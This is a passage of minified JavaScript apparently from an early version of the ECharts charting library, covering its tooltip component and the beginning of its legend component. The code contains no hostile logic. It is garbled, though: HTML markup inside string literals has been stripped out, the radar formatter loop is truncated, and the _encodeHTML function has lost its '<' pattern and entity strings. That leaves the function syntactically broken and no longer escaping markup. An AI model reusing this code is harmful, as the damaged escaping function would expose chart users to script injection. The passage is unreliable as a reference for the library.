b;"xAxis"==c?(d=this.subPixelOptimize(n.getCoordByIndex(i),this._axisLineWidth),p=m.getY(this._event),b=[d,this.component.grid.getY(),d,this.component.grid.getYend()]):(d=m.getX(this._event),p=this.subPixelOptimize(n.getCoordByIndex(i),this._axisLineWidth),b=[this.component.grid.getX(),p,this.component.grid.getXend(),p]),this._styleAxisPointer(h,b[0],b[1],b[2],b[3],n.getGap(),d,p)}else d=m.getX(this._event),p=m.getY(this._event),this._styleAxisPointer(l,this.component.grid.getX(),p,this.component.grid.getXend(),p,0,d,p),i>=0?this._showItemTrigger(!0):(clearTimeout(this._hidingTicket),clearTimeout(this._showingTicket),this._tDom.style.display="none");if(h.length>0){if(this._lastItemTriggerId=-1,this._lastDataIndex!=i||this._lastSeriesIndex!=V[0]){this._lastDataIndex=i,this._lastSeriesIndex=V[0];var f,k;if("function"==typeof a){for(var x=[],y=0,g=h.length;g>y;y++)f=h[y].data[i],k=this.getDataFromOption(f,"-"),x.push({seriesIndex:V[y],seriesName:h[y].name||"",series:h[y],dataIndex:i,data:f,name:n.getNameByIndex(i),value:k,0:h[y].name||"",1:n.getNameByIndex(i),2:k,3:f});this._curTicket="axis:"+i,this._tDom.innerHTML=a.call(this.myChart,x,this._curTicket,this._setContent)}else if("string"==typeof a){this._curTicket=0/0,a=a.replace("{a}","{a0}").replace("{b}","{b0}").replace("{c}","{c0}");for(var y=0,g=h.length;g>y;y++)a=a.replace("{a"+y+"}",this._encodeHTML(h[y].name||"")),a=a.replace("{b"+y+"}",this._encodeHTML(n.getNameByIndex(i))),f=h[y].data[i],f=this.getDataFromOption(f,"-"),a=a.replace("{c"+y+"}",f instanceof Array?f:this.numAddCommas(f));this._tDom.innerHTML=a}else{this._curTicket=0/0,a=this._encodeHTML(n.getNameByIndex(i));for(var y=0,g=h.length;g>y;y++)a+="
        "+this._encodeHTML(h[y].name||"")+" : ",f=h[y].data[i],f=this.getDataFromOption(f,"-"),a+=f instanceof Array?f:this.numAddCommas(f);this._tDom.innerHTML=a}}if(r===!1||!this.option.tooltip.showContent)return;this.hasAppend||(this._tDom.style.left=this._zrWidth/2+"px",this._tDom.style.top=this._zrHeight/2+"px",this.dom.firstChild.appendChild(this._tDom),this.hasAppend=!0),this._show(o,d+10,p+10,U)}},_showPolarTrigger:function(e,t){if(null==this.component.polar||null==e||null==t||0>t)return!1;var i,n,a,o=this.option.series,r=[],s=[],l="";if("axis"===this.option.tooltip.trigger){if(!this.option.tooltip.show)return!1;i=this.option.tooltip.formatter,n=this.option.tooltip.position}for(var h=this.option.polar[e].indicator[t].text,V=0,U=o.length;U>V;V++)this._isSelected(o[V].name)&&o[V].polarIndex===e&&"axis"===this.deepQuery([o[V],this.option],"tooltip.trigger")&&(a=this.query(o[V],"tooltip.showContent")||a,i=this.query(o[V],"tooltip.formatter")||i,n=this.query(o[V],"tooltip.position")||n,l+=this._style(this.query(o[V],"tooltip")),r.push(o[V]),s.push(V));if(r.length>0){for(var d,p,c,u=[],V=0,U=r.length;U>V;V++){d=r[V].data;for(var y=0,g=d.length;g>y;y++)p=d[y],this._isSelected(p.name)&&(p=null!=p?p:{name:"",value:{dataIndex:"-"}},c=this.getDataFromOption(p.value[t]),u.push({seriesIndex:s[V],seriesName:r[V].name||"",series:r[V],dataIndex:t,data:p,name:p.name,indicator:h,value:c,0:r[V].name||"",1:p.name,2:c,3:h}))}if(u.length<=0)return;if(this._lastItemTriggerId=-1,this._lastDataIndex!=t||this._lastSeriesIndex!=s[0])if(this._lastDataIndex=t,this._lastSeriesIndex=s[0],"function"==typeof i)this._curTicket="axis:"+t,this._tDom.innerHTML=i.call(this.myChart,u,this._curTicket,this._setContent);else if("string"==typeof i){i=i.replace("{a}","{a0}").replace("{b}","{b0}").replace("{c}","{c0}").replace("{d}","{d0}");for(var V=0,U=u.length;U>V;V++)i=i.replace("{a"+V+"}",this._encodeHTML(u[V].seriesName)),i=i.replace("{b"+V+"}",this._encodeHTML(u[V].name)),i=i.replace("{c"+V+"}",this.numAddCommas(u[V].value)),i=i.replace("{d"+V+"}",this._encodeHTML(u[V].indicator));this._tDom.innerHTML=i}else{i=this._encodeHTML(u[0].name)+"
        "+this._encodeHTML(u[0].indicator)+" : "+this.numAddCommas(u[0].value);for(var V=1,U=u.length;U>V;V++)i+="
        "+this._encodeHTML(u[V].name)+"
        ",i+=this._encodeHTML(u[V].indicator)+" : "+this.numAddCommas(u[V].value);this._tDom.innerHTML=i}if(a===!1||!this.option.tooltip.showContent)return;return this.hasAppend||(this._tDom.style.left=this._zrWidth/2+"px",this._tDom.style.top=this._zrHeight/2+"px",this.dom.firstChild.appendChild(this._tDom),this.hasAppend=!0),this._show(n,m.getX(this._event),m.getY(this._event),l),!0}},_showItemTrigger:function(e){if(this._curTarget){var t,i,n,a=l.get(this._curTarget,"series"),o=l.get(this._curTarget,"seriesIndex"),r=l.get(this._curTarget,"data"),h=l.get(this._curTarget,"dataIndex"),V=l.get(this._curTarget,"name"),U=l.get(this._curTarget,"value"),d=l.get(this._curTarget,"special"),p=l.get(this._curTarget,"special2"),c=[r,a,this.option],u="";if("island"!=this._curTarget._type){var y=e?"axis":"item";this.option.tooltip.trigger===y&&(t=this.option.tooltip.formatter,i=this.option.tooltip.position),this.query(a,"tooltip.trigger")===y&&(n=this.query(a,"tooltip.showContent")||n,t=this.query(a,"tooltip.formatter")||t,i=this.query(a,"tooltip.position")||i,u+=this._style(this.query(a,"tooltip"))),n=this.query(r,"tooltip.showContent")||n,t=this.query(r,"tooltip.formatter")||t,i=this.query(r,"tooltip.position")||i,u+=this._style(this.query(r,"tooltip"))}else this._lastItemTriggerId=0/0,n=this.deepQuery(c,"tooltip.showContent"),t=this.deepQuery(c,"tooltip.islandFormatter"),i=this.deepQuery(c,"tooltip.islandPosition");this._lastDataIndex=-1,this._lastSeriesIndex=-1,this._lastItemTriggerId!==this._curTarget.id&&(this._lastItemTriggerId=this._curTarget.id,"function"==typeof t?(this._curTicket=(a.name||"")+":"+h,this._tDom.innerHTML=t.call(this.myChart,{seriesIndex:o,seriesName:a.name||"",series:a,dataIndex:h,data:r,name:V,value:U,percent:d,indicator:d,value2:p,indicator2:p,0:a.name||"",1:V,2:U,3:d,4:p,5:r,6:o,7:h},this._curTicket,this._setContent)):"string"==typeof t?(this._curTicket=0/0,t=t.replace("{a}","{a0}").replace("{b}","{b0}").replace("{c}","{c0}"),t=t.replace("{a0}",this._encodeHTML(a.name||"")).replace("{b0}",this._encodeHTML(V)).replace("{c0}",U instanceof Array?U:this.numAddCommas(U)),t=t.replace("{d}","{d0}").replace("{d0}",d||""),t=t.replace("{e}","{e0}").replace("{e0}",l.get(this._curTarget,"special2")||""),this._tDom.innerHTML=t):(this._curTicket=0/0,this._tDom.innerHTML=a.type===s.CHART_TYPE_RADAR&&d?this._itemFormatter.radar.call(this,a,V,U,d):a.type===s.CHART_TYPE_EVENTRIVER?this._itemFormatter.eventRiver.call(this,a,V,U,r):""+(null!=a.name?this._encodeHTML(a.name)+"
        ":"")+(""===V?"":this._encodeHTML(V)+" : ")+(U instanceof Array?U:this.numAddCommas(U))));var g=m.getX(this._event),b=m.getY(this._event);this.deepQuery(c,"tooltip.axisPointer.show")&&this.component.grid?this._styleAxisPointer([a],this.component.grid.getX(),b,this.component.grid.getXend(),b,0,g,b):this._hide(),n!==!1&&this.option.tooltip.showContent&&(this.hasAppend||(this._tDom.style.left=this._zrWidth/2+"px",this._tDom.style.top=this._zrHeight/2+"px",this.dom.firstChild.appendChild(this._tDom),this.hasAppend=!0),this._show(i,g+20,b-20,u))}},_itemFormatter:{radar:function(e,t,i,n){var a="";a+=this._encodeHTML(""===t?e.name||"":t),a+=""===a?"":"
        ";for(var o=0;o";return a},chord:function(e,t,i,n,a){if(null==a)return this._encodeHTML(t)+" ("+this.numAddCommas(i)+")";var o=this._encodeHTML(t),r=this._encodeHTML(n);return""+(null!=e.name?this._encodeHTML(e.name)+"
        ":"")+o+" -> "+r+" ("+this.numAddCommas(i)+")
        "+r+" -> "+o+" ("+this.numAddCommas(a)+")"},eventRiver:function(e,t,i,n){var a="";a+=this._encodeHTML(""===e.name?"":e.name+" : "),a+=this._encodeHTML(t),a+=""===a?"":"
        ",n=n.evolution;for(var o=0,r=n.length;r>o;o++)a+='
        ',n[o].detail&&(n[o].detail.img&&(a+=''),a+='
        '+n[o].time+"
        ",a+='',a+=n[o].detail.text+"
        ",a+="
        ");return a}},_styleAxisPointer:function(e,t,i,n,a,o,r,s){if(e.length>0){var l,h,m=this.option.tooltip.axisPointer,V=m.type,U={line:{},cross:{},shadow:{}};for(var d in U)U[d].color=m[d+"Style"].color,U[d].width=m[d+"Style"].width,U[d].type=m[d+"Style"].type;for(var p=0,c=e.length;c>p;p++)l=e[p],h=this.query(l,"tooltip.axisPointer.type"),V=h||V,h&&(U[h].color=this.query(l,"tooltip.axisPointer."+h+"Style.color")||U[h].color,U[h].width=this.query(l,"tooltip.axisPointer."+h+"Style.width")||U[h].width,U[h].type=this.query(l,"tooltip.axisPointer."+h+"Style.type")||U[h].type);if("line"===V){var u=U.line.width,y=t==n;this._axisLineShape.style={xStart:y?this.subPixelOptimize(t,u):t,yStart:y?i:this.subPixelOptimize(i,u),xEnd:y?this.subPixelOptimize(n,u):n,yEnd:y?a:this.subPixelOptimize(a,u),strokeColor:U.line.color,lineWidth:u,lineType:U.line.type},this._axisLineShape.invisible=!1,this.zr.modShape(this._axisLineShape.id)}else if("cross"===V){var g=U.cross.width;this._axisCrossShape.style={brushType:"stroke",rect:this.component.grid.getArea(),x:this.subPixelOptimize(r,g),y:this.subPixelOptimize(s,g),text:("( "+this.component.xAxis.getAxis(0).getValueFromCoord(r)+" , "+this.component.yAxis.getAxis(0).getValueFromCoord(s)+" )").replace(" , "," ").replace(" , "," "),textPosition:"specific",strokeColor:U.cross.color,lineWidth:g,lineType:U.cross.type},this.component.grid.getXend()-r>100?(this._axisCrossShape.style.textAlign="left",this._axisCrossShape.style.textX=r+10):(this._axisCrossShape.style.textAlign="right",this._axisCrossShape.style.textX=r-10),s-this.component.grid.getY()>50?(this._axisCrossShape.style.textBaseline="bottom",this._axisCrossShape.style.textY=s-10):(this._axisCrossShape.style.textBaseline="top",this._axisCrossShape.style.textY=s+10),this._axisCrossShape.invisible=!1,this.zr.modShape(this._axisCrossShape.id)}else"shadow"===V&&((null==U.shadow.width||"auto"===U.shadow.width||isNaN(U.shadow.width))&&(U.shadow.width=o),t===n?Math.abs(this.component.grid.getX()-t)<2?(U.shadow.width/=2,t=n+=U.shadow.width/2):Math.abs(this.component.grid.getXend()-t)<2&&(U.shadow.width/=2,t=n-=U.shadow.width/2):i===a&&(Math.abs(this.component.grid.getY()-i)<2?(U.shadow.width/=2,i=a+=U.shadow.width/2):Math.abs(this.component.grid.getYend()-i)<2&&(U.shadow.width/=2,i=a-=U.shadow.width/2)),this._axisShadowShape.style={xStart:t,yStart:i,xEnd:n,yEnd:a,strokeColor:U.shadow.color,lineWidth:U.shadow.width},this._axisShadowShape.invisible=!1,this.zr.modShape(this._axisShadowShape.id));this.zr.refreshNextFrame()}},__onmousemove:function(e){if(clearTimeout(this._hidingTicket),clearTimeout(this._showingTicket),!this._mousein||!this._enterable){var t=e.target,i=m.getX(e.event),n=m.getY(e.event);if(t){this._curTarget=t,this._event=e.event,this._event.zrenderX=i,this._event.zrenderY=n;var a;if(this._needAxisTrigger&&this.component.polar&&-1!=(a=this.component.polar.isInside([i,n])))for(var o=this.option.series,l=0,h=o.length;h>l;l++)if(o[l].polarIndex===a&&"axis"===this.deepQuery([o[l],this.option],"tooltip.trigger")){this._curTarget=null;break}this._showingTicket=setTimeout(this._tryShow,this._showDelay)}else this._curTarget=!1,this._event=e.event,this._event.zrenderX=i,this._event.zrenderY=n,this._needAxisTrigger&&this.component.grid&&V.isInside(r,this.component.grid.getArea(),i,n)?this._showingTicket=setTimeout(this._tryShow,this._showDelay):this._needAxisTrigger&&this.component.polar&&-1!=this.component.polar.isInside([i,n])?this._showingTicket=setTimeout(this._tryShow,this._showDelay):(!this._event.connectTrigger&&this.messageCenter.dispatch(s.EVENT.TOOLTIP_OUT_GRID,this._event,null,this.myChart),this._hidingTicket=setTimeout(this._hide,this._hideDelay))}},__onglobalout:function(){clearTimeout(this._hidingTicket),clearTimeout(this._showingTicket),this._hidingTicket=setTimeout(this._hide,this._hideDelay)},__setContent:function(e,t){this._tDom&&(e===this._curTicket&&(this._tDom.innerHTML=t),setTimeout(this._refixed,20))},ontooltipHover:function(e,t){if(!this._lastTipShape||this._lastTipShape&&this._lastTipShape.dataIndex!=e.dataIndex){this._lastTipShape&&this._lastTipShape.tipShape.length>0&&(this.zr.delShape(this._lastTipShape.tipShape),this.shapeList.length=2);for(var i=0,n=t.length;n>i;i++)t[i].zlevel=this.getZlevelBase(),t[i].z=this.getZBase(),t[i].style=p.prototype.getHighlightStyle(t[i].style,t[i].highlightStyle),t[i].draggable=!1,t[i].hoverable=!1,t[i].clickable=!1,t[i].ondragend=null,t[i].ondragover=null,t[i].ondrop=null,this.shapeList.push(t[i]),this.zr.addShape(t[i]);this._lastTipShape={dataIndex:e.dataIndex,tipShape:t}}},ondragend:function(){this._hide()},onlegendSelected:function(e){this._selectedMap=e.selected},_setSelectedMap:function(){this._selectedMap=this.component.legend?d.clone(this.component.legend.getSelectedMap()):{}},_isSelected:function(e){return null!=this._selectedMap[e]?this._selectedMap[e]:!0},showTip:function(e){if(e){var t,i=this.option.series;if(null!=e.seriesIndex)t=e.seriesIndex;else for(var n=e.seriesName,a=0,o=i.length;o>a;a++)if(i[a].name===n){t=a;break}var r=i[t];if(null!=r){var m=this.myChart.chart[r.type],V="axis"===this.deepQuery([r,this.option],"tooltip.trigger");if(m)if(V){var U=e.dataIndex;switch(m.type){case s.CHART_TYPE_LINE:case s.CHART_TYPE_BAR:case s.CHART_TYPE_K:case s.CHART_TYPE_RADAR:if(null==this.component.polar||r.data[0].value.length<=U)return;var d=r.polarIndex||0,p=this.component.polar.getVector(d,U,"max");this._event={zrenderX:p[0],zrenderY:p[1]},this._showPolarTrigger(d,U)}}else{var c,u,y=m.shapeList;switch(m.type){case s.CHART_TYPE_LINE:case s.CHART_TYPE_BAR:case s.CHART_TYPE_K:case s.CHART_TYPE_TREEMAP:case s.CHART_TYPE_SCATTER:for(var U=e.dataIndex,a=0,o=y.length;o>a;a++)if(null==y[a]._mark&&l.get(y[a],"seriesIndex")==t&&l.get(y[a],"dataIndex")==U){this._curTarget=y[a],c=y[a].style.x,u=m.type!=s.CHART_TYPE_K?y[a].style.y:y[a].style.y[0];break}break;case s.CHART_TYPE_RADAR:for(var U=e.dataIndex,a=0,o=y.length;o>a;a++)if("polygon"===y[a].type&&l.get(y[a],"seriesIndex")==t&&l.get(y[a],"dataIndex")==U){this._curTarget=y[a];var p=this.component.polar.getCenter(r.polarIndex||0);c=p[0],u=p[1];break}break;case s.CHART_TYPE_PIE:for(var g=e.name,a=0,o=y.length;o>a;a++)if("sector"===y[a].type&&l.get(y[a],"seriesIndex")==t&&l.get(y[a],"name")==g){this._curTarget=y[a];var b=this._curTarget.style,f=(b.startAngle+b.endAngle)/2*Math.PI/180;c=this._curTarget.style.x+Math.cos(f)*b.r/1.5,u=this._curTarget.style.y-Math.sin(f)*b.r/1.5;break}break;case s.CHART_TYPE_MAP:for(var g=e.name,k=r.mapType,a=0,o=y.length;o>a;a++)if("text"===y[a].type&&y[a]._mapType===k&&y[a].style._name===g){this._curTarget=y[a],c=this._curTarget.style.x+this._curTarget.position[0],u=this._curTarget.style.y+this._curTarget.position[1];break}break;case s.CHART_TYPE_CHORD:for(var g=e.name,a=0,o=y.length;o>a;a++)if("sector"===y[a].type&&l.get(y[a],"name")==g){this._curTarget=y[a];var b=this._curTarget.style,f=(b.startAngle+b.endAngle)/2*Math.PI/180;return c=this._curTarget.style.x+Math.cos(f)*(b.r-2),u=this._curTarget.style.y-Math.sin(f)*(b.r-2),void this.zr.trigger(h.EVENT.MOUSEMOVE,{zrenderX:c,zrenderY:u})}break;case s.CHART_TYPE_FORCE:for(var g=e.name,a=0,o=y.length;o>a;a++)if("circle"===y[a].type&&l.get(y[a],"name")==g){this._curTarget=y[a],c=this._curTarget.position[0],u=this._curTarget.position[1];break}}null!=c&&null!=u&&(this._event={zrenderX:c,zrenderY:u},this.zr.addHoverShape(this._curTarget),this.zr.refreshHover(),this._showItemTrigger())}}}},hideTip:function(){this._hide()},refresh:function(e){if(this._zrHeight=this.zr.getHeight(),this._zrWidth=this.zr.getWidth(),this._lastTipShape&&this._lastTipShape.tipShape.length>0&&this.zr.delShape(this._lastTipShape.tipShape),this._lastTipShape=!1,this.shapeList.length=2,this._lastDataIndex=-1,this._lastSeriesIndex=-1,this._lastItemTriggerId=-1,e){this.option=e,this.option.tooltip=this.reformOption(this.option.tooltip),this.option.tooltip.textStyle=d.merge(this.option.tooltip.textStyle,this.ecTheme.textStyle),this._needAxisTrigger=!1,"axis"===this.option.tooltip.trigger&&(this._needAxisTrigger=!0);for(var t=this.option.series,i=0,n=t.length;n>i;i++)if("axis"===this.query(t[i],"tooltip.trigger")){this._needAxisTrigger=!0;break}this._showDelay=this.option.tooltip.showDelay,this._hideDelay=this.option.tooltip.hideDelay,this._defaultCssText=this._style(this.option.tooltip),this._setSelectedMap(),this._axisLineWidth=this.option.tooltip.axisPointer.lineStyle.width,this._enterable=this.option.tooltip.enterable,!this._enterable&&this._tDom.className.indexOf(h.elementClassName)<0&&(this._tDom.className+=" "+h.elementClassName)}if(this.showing){var a=this;setTimeout(function(){a.zr.trigger(h.EVENT.MOUSEMOVE,a.zr.handler._event)},50)}},onbeforDispose:function(){this._lastTipShape&&this._lastTipShape.tipShape.length>0&&this.zr.delShape(this._lastTipShape.tipShape),clearTimeout(this._hidingTicket),clearTimeout(this._showingTicket),this.zr.un(h.EVENT.MOUSEMOVE,this._onmousemove),this.zr.un(h.EVENT.GLOBALOUT,this._onglobalout),this.hasAppend&&this.dom.firstChild&&this.dom.firstChild.removeChild(this._tDom),this._tDom=null},_encodeHTML:function(e){return String(e).replace(/&/g,"&").replace(//g,">").replace(/"/g,""").replace(/'/g,"'")}},d.inherits(t,i),e("../component").define("tooltip",t),t}),i("echarts/component/legend",["require","./base","zrender/shape/Text","zrender/shape/Rectangle","zrender/shape/Sector","../util/shape/Icon","../util/shape/Candle","../config","zrender/tool/util","zrender/tool/area","../component"],function(e){function t(e,t,n,a,o){if(!this.query(a,"legend.data"))return void console.error("option.legend.data has not been defined.");i.call(this,e,t,n,a,o);var r=this;r._legendSelected=function(e){r.__legendSelected(e)},r._dispatchHoverLink=function(e){return r.__dispatchHoverLink(e)},this._colorIndex=0,this._colorMap={},this._selectedMap={},this._hasDataMap={},this.refresh(a)}var i=e("./base"),n=e("zrender/shape/Text"),a=e("zrender/shape/Rectangle"),o=e("zrender/shape/Sector"),r=e("../util/shape/Icon"),s=e("../util/shape/Candle"),l=e("../config");l.legend={zlevel:0,z:4,show:!0,orient:"horizontal",x:"center",y:"top",backgroundColor:"rgba(0,0,0,0)",borderColor:"#ccc",borderWidth:0,padding:5,itemGap:10,itemWidth:20,itemHeight:14,textStyle:{color:"#333"},selectedMode:!0};var h=e("zrender/tool/util"),m=e("zrender/tool/area");t.prototype={type:l.COMPONENT_TYPE_LEGEND,_buildShape:function(){if(this.legendOption.show){this._itemGroupLocation=this._getItemGroupLocation(),this._buildBackground(),this._buildItem();for(var e=0,t=this.shapeList.length;t>e;e++)this.zr.addShape(this.shapeList[e])}},_buildItem:function(){var e,t,i,a,o,s,l,V,U=this.legendOption.data,d=U.length,p=this.legendOption.textStyle,c=this.zr.getWidth(),u=this.zr.getHeight(),y=this._itemGroupLocation.x,g=this._itemGroupLocation.y,b=this.legendOption.itemWidth,f=this.legendOption.itemHeight,k=this.legendOption.itemGap;"vertical"===this.legendOption.orient&&"right"===this.legendOption.x&&(y=this._itemGroupLocation.x+this._itemGroupLocation.width-b);for(var x=0;d>x;x++)o=h.merge(U[x].textStyle||{},p),s=this.getFont(o),e=this._getName(U[x]),l=this._getFormatterName(e),""!==e?(t=U[x].icon||this._getSomethingByName(e).type,V=this.getColor(e),"horizontal"===this.legendOption.orient?200>c-y&&b+5+m.getTextWidth(l,s)+(x===d-1||""===U[x+1]?0:k)>=c-y&&(y=this._itemGroupLocation.x,g+=f+k):200>u-g&&f+(x===d-1||""===U[x+1]?0:k)>=u-g&&("right"===this.legendOption.x?y-=this._itemGroupLocation.maxWidth+k:y+=this._itemGroupLocation.maxWidth+k,g=this._itemGroupLocation.y),i=this._getItemShapeByType(y,g,b,f,this._selectedMap[e]&&this._hasDataMap[e]?V:"#ccc",t,V),i._name=e,i=new r(i),a={zlevel:this.getZlevelBase(),z:this.getZBase(),style:{x:y+b+5,y:g+f/2,color:this._selectedMap[e]?"auto"===o.color?V:o.color:"#ccc",text:l,textFont:s,textBaseline:"middle"},highlightStyle:{color:V,brushType:"fill"},hoverable:!!this.legendOption.selectedMode,clickable:!!this.legendOption.selectedMode},"vertical"===this.legendOption.orient&&"right"===this.legendOption.x&&(a.style.x-=b+10,a.style.textAlign="right"),a._name=e,a=new n(a),this.legendOption.selectedMode&&(i.onclick=a.onclick=this._legendSelected,i.onmouseover=a.onmouseover=this._dispatchHoverLink,i.hoverConnect=a.id,a.hoverConnect=i.id),this.shapeList.push(i),this.shapeList.push(a),"horizontal"===this.legendOption.orient?y+=b+5+m.getTextWidth(l,s)+k:g+=f+k):"horizontal"===this.legendOption.orient?(y=this._itemGroupLocation.x,g+=f+k):("right"===this.legendOption.x?y-=this._itemGroupLocation.maxWidth+k:y+=this._itemGroupLocation.maxWidth+k,g=this._itemGroupLocation.y);"horizontal"===this.legendOption.orient&&"center"===this.legendOption.x&&g!=this._itemGroupLocation.y&&this._mLineOptimize()},_getName:function(e){return"undefined"!=typeof e.name?e.name:e},_getFormatterName:function(e){var t,i=this.legendOption.formatter;return t="function"==typeof i?i.call(this.myChart,e):"string"==typeof i?i.replace("{name}",e):e},_getFormatterNameFromData:function(e){var t=this._getName(e);return this._getFormatterName(t)},_mLineOptimize:function(){for(var e=[],t=this._itemGroupLocation.x,i=2,n=this.shapeList.length;n>i;i++)this.shapeList[i].style.x===t?e.push((this._itemGroupLocation.width-(this.shapeList[i-1].style.x+m.getTextWidth(this.shapeList[i-1].style.text,this.shapeList[i-1].style.textFont)-t))/2):i===n-1&&e.push((this._itemGroupLocation.width-(this.shapeList[i].style.x+m.getTextWidth(this.shapeList[i].style.text,this.shapeList[i].style.textFont)-t))/2);for(var a=-1,i=1,n=this.shapeList.length;n>i;i++)this.shapeList[i].style.x===t&&a++,0!==e[a]&&(this.shapeList[i].style.x+=e[a])},_buildBackground:function(){var e=this.reformCssArray(this.legendOption.padding);this.shapeList.push(new a({zlevel:this.getZlevelBase(),z:this.getZBase(),hoverable:!1,style:{x:this._itemGroupLocation.x-e[3],y:this._itemGroupLocation.y-e[0],width:this._itemGroupLocation.width+e[3]+e[1],height:this._itemGroupLocation.height+e[0]+e[2],brushType:0===this.legendOption.borderWidth?"fill":"both",color:this.legendOption.backgroundColor,strokeColor:this.legendOption.borderColor,lineWidth:this.legendOption.borderWidth}}))},_getItemGroupLocation:function(){var e=this.legendOption.data,t=e.length,i=this.legendOption.itemGap,n=this.legendOption.itemWidth+5,a=this.legendOption.itemHeight,o=this.legendOption.textStyle,r=this.getFont(o),s=0,l=0,V=this.reformCssArray(this.legendOption.padding),U=this.zr.getWidth()-V[1]-V[3],d=this.zr.getHeight()-V[0]-V[2],p=0,c=0;if("horizontal"===this.legendOption.orient){l=a;for(var u=0;t>u;u++)if(""!==this._getName(e[u])){var y=m.getTextWidth(this._getFormatterNameFromData(e[u]),e[u].textStyle?this.getFont(h.merge(e[u].textStyle||{},o)):r);p+n+y+i>U?(p-=i,s=Math.max(s,p),l+=a+i,p=0):(p+=n+y+i,s=Math.max(s,p-i))}else p-=i,s=Math.max(s,p),l+=a+i,p=0}else{for(var u=0;t>u;u++)c=Math.max(c,m.getTextWidth(this._getFormatterNameFromData(e[u]),e[u].textStyle?this.getFont(h.merge(e[u].textStyle||{},o)):r));c+=n,s=c;for(var u=0;t>u;u++)""!==this._getName(e[u])?p+a+i>d?(s+=c+i,p-=i,l=Math.max(l,p),p=0):(p+=a+i,l=Math.max(l,p-i)):(s+=c+i,p-=i,l=Math.max(l,p),p=0)}U=this.zr.getWidth(),d=this.zr.getHeight();var g;switch(this.legendOption.x){case"center":g=Math.floor((U-s)/2);break;case"left":g=V[3]+this.legendOption.borderWidth;break;case"right":g=U-s-V[1]-V[3]-2*this.legendOption.borderWidth;break;default:g=this.parsePercent(this.legendOption.x,U)}var b;switch(this.legendOption.y){case"top":b=V[0]+this.legendOption.borderWidth;break;case"bottom":b=d-l-V[0]-V[2]-2*this.legendOption.borderWidth;break;case"center":b=Math.floor((d-l)/2);break;default:b=this.parsePercent(this.legendOption.y,d)}return{x:g,y:b,width:s,height:l,maxWidth:c}},_getSomethingByName:function(e){for(var t,i=this.option.series,n=0,a=i.length;a>n;n++){if(i[n].name===e)return{type:i[n].type,series:i[n],seriesIndex:n,data:null,dataIndex:-1};if(i[n].type===l.CHART_TYPE_PIE||i[n].type===l.CHART_TYPE_RADAR||i[n].type===l.CHART_TYPE_CHORD||i[n].type===l.CHART_TYPE_FORCE||i[n].type===l.CHART_TYPE_FUNNEL||i[n].type===l.CHART_TYPE_TREEMAP){t=i[n].categories||i[n].data||i[n].nodes;for(var o=0,r=t.length;r>o;o++)if(t[o].name===e)return{type:i[n].type,series:i[n],seriesIndex:n,data:t[o],dataIndex:o}}}return{type:"bar",series:null,seriesIndex:-1,data:null,dataIndex:-1}},_getItemShapeByType:function(e,t,i,n,a,o,r){var s,h="#ccc"===a?r:a,m={zlevel:this.getZlevelBase(),z:this.getZBase(),style:{iconType:"legendicon"+o,x:e,y:t,width:i,height:n,color:a,strokeColor:a,lineWidth:2},highlightStyle:{color:h,strokeColor:h,lineWidth:1},hoverable:this.legendOption.selectedMode,clickable:this.legendOption.selectedMode};if(o.match("image")){var s=o.replace(new RegExp("^image:\\/\\/"),"");o="image"}switch(o){case"line":m.style.brushType="stroke",m.highlightStyle.lineWidth=3;break;case"radar":case"venn":case"tree":case"treemap":case"scatter":m.highlightStyle.lineWidth=3;break;case"k":m.style.brushType="both",m.highlightStyle.lineWidth=3,m.highlightStyle.color=m.style.color=this.deepQuery([this.ecTheme,l],"k.itemStyle.normal.color")||"#fff",m.style.strokeColor="#ccc"!=a?this.deepQuery([this.ecTheme,l],"k.itemStyle.normal.lineStyle.color")||"#ff3200":a;break;case"image":m.style.iconType="image",m.style.image=s,"#ccc"===a&&(m.style.opacity=.5)}return m},__legendSelected:function(e){var t=e.target._name;if("single"===this.legendOption.selectedMode)for(var i in this._selectedMap)this._selectedMap[i]=!1;this._selectedMap[t]=!this._selectedMap[t],this.messageCenter.dispatch(l.EVENT.LEGEND_SELECTED,e.event,{selected:this._selectedMap,target:t},this.myChart)},__dispatchHoverLink:function(e){this.messageCenter.dispatch(l.EVENT.LEGEND_HOVERLINK,e.event,{target:e.target._name},this.myChart)},refresh:function(e){if(e){this.option=e||this.option,this.option.legend=this.reformOption(this.option.legend),this.legendOption=this.option.legend;var t,i,n,a,o=this.legendOption.data||[];if(this.legendOption.selected)for(var r in this.legendOption.selected)this._selectedMap[r]="undefined"!=typeof this._selectedMap[r]?this._selectedMap[r]:this.legendOption.selected[r];for(var s=0,h=o.length;h>s;s++)t=this._getName(o[s]),""!==t&&(i=this._getSomethingByName(t),i.series?(this._hasDataMap[t]=!0,a=!i.data||i.type!==l.CHART_TYPE_PIE&&i.type!==l.CHART_TYPE_FORCE&&i.type!==l.CHART_TYPE_FUNNEL?[i.series]:[i.data,i.series],n=this.getItemStyleColor(this.deepQuery(a,"itemStyle.normal.color"),i.seriesIndex,i.dataIndex,i.data),n&&i.type!=l.CHART_TYPE_K&&this.setColor(t,n),this._selectedMap[t]=null!=this._selectedMap[t]?this._selectedMap[t]:!0):this._hasDataMap[t]=!1)}this.clear(),this._buildShape()},getRelatedAmount:function(e){for(var t,i=0,n=this.option.series,a=0,o=n.length;o>a;a++)if(n[a].name===e&&i++,n[a].type===l.CHART_TYPE_PIE||n[a].type===l.CHART_TYPE_RADAR||n[a].type===l.CHART_TYPE_CHORD||n[a].type===l.CHART_TYPE_FORCE||n[a].type===l.CHART_TYPE_FUNNEL){t=n[a].type!=l.CHART_TYPE_FORCE?n[a].data:n[a].categories;for(var r=0,s=t.length;s>r;r++)t[r].name===e&&"-"!=t[r].value&&i++}return i},setColor:function(e,t){this._colorMap[e]=t},getColor:function(e){return this._colorMap[e]||(this._colorMap[e]=this.zr.getColor(this._colorIndex++)),this._colorMap[e]},hasColor:function(e){return this._colorMap[e]?this._colorMap[e]:!1},add:function(e,t){ +for(var i=this.legendOption.data,n=0,a=i.length;a>n;n++)if(this._getName(i[n])===e)return;this.legendOption.data.push(e),this.setColor(e,t),this._selectedMap[e]=!0,this._hasDataMap[e]=!0},del:function(e){for(var t=this.legendOption.data,i=0,n=t.length;n>i;i++)if(this._getName(t[i])===e)return this.legendOption.data.splice(i,1)},getItemShape:function(e){if(null!=e)for(var t,i=0,n=this.shapeList.length;n>i;i++)if(t=this.shapeList[i],t._name===e&&"text"!=t.type)return t},setItemShape:function(e,t){for(var i,n=0,a=this.shapeList.length;a>n;n++)i=this.shapeList[n],i._name===e&&"text"!=i.type&&(this._selectedMap[e]||(t.style.color="#ccc",t.style.strokeColor="#ccc"),this.zr.modShape(i.id,t))},isSelected:function(e){return"undefined"!=typeof 